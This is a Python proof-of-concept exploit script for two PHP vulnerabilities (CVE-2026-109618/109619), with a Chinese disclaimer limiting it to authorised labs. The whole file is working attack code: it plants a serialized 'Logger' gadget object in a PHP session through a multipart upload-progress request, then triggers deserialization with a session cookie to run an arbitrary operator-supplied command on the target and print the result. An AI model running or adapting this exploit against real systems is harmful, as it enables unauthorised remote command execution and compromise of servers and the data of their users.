#!/usr/bin/env python3
"""php2shell-poc — CVE-2026-109618 / CVE-2026-109619 演示 PoC.

仅限自有环境或已获书面授权的测试环境使用。
详见同目录 README.md 与站点文章中的免责声明。
"""
import argparse
import http.client
import random
import sys

BOUNDARY = "----php2shell"


def part(name, value, filename=None):
    disposition = 'Content-Disposition: form-data; name="%s"' % name
    if filename is not None:
        disposition += '; filename="%s"' % filename
    head = "--%s\r\n%s\r\n\r\n" % (BOUNDARY, disposition)
    return head.encode("latin1") + value + b"\r\n"


def serialized_object(cls, prop, value):
    """构造 O:<class>:1:{<prop>:"<value>"} 的序列化串。"""
    c, p, v = cls.encode(), prop.encode(), value.encode()
    out = b'O:%d:"%s":1:{s:%d:"%s";s:%d:"' % (len(c), c, len(p), p, len(v))
    return out + v + b'";}'


def seed(host, port, path, sid, payload, timeout):
    body = (
        part("PHPSESSID", sid.encode())
        + part("PHP_SESSION_UPLOAD_PROGRESS", b"|" + payload)
        + part("f", b"Z", "a.txt")
        + ("--%s--\r\n" % BOUNDARY).encode()
    )
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    conn.request(
        "POST",
        path,
        body=body,
        headers={"Content-Type": "multipart/form-data; boundary=" + BOUNDARY},
    )
    resp = conn.getresponse()
    data = resp.read()
    conn.close()
    return resp.status, data


def fire(host, port, path, sid, timeout):
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    conn.request("GET", path, headers={"Cookie": "PHPSESSID=" + sid})
    resp = conn.getresponse()
    data = resp.read()
    conn.close()
    return resp.status, data


def main():
    parser = argparse.ArgumentParser(description="php2shell-poc (authorised labs only)")
    parser.add_argument("host")
    parser.add_argument("port", type=int)
    parser.add_argument("cmd", help="command to run through the gadget")
    parser.add_argument("--seed-path", default="/app/seed.php")
    parser.add_argument("--trigger-path", default="/api/app.php")
    parser.add_argument("--gadget", default="Logger")
    parser.add_argument("--prop", default="cmd")
    parser.add_argument("--sid", default=None)
    parser.add_argument("--timeout", type=float, default=15.0)
    args = parser.parse_args()

    sid = args.sid or "%032x" % random.getrandbits(128)
    payload = serialized_object(args.gadget, args.prop, args.cmd)
    print("[*] sid=%s payload=%d B" % (sid, len(payload)))

    status, _ = seed(args.host, args.port, args.seed_path, sid, payload, args.timeout)
    print("[1] seed: %d" % status)

    status, data = fire(args.host, args.port, args.trigger_path, sid, args.timeout)
    print("[2] fire: %d" % status)
    print(data.decode("latin1", "replace"))


if __name__ == "__main__":
    main()
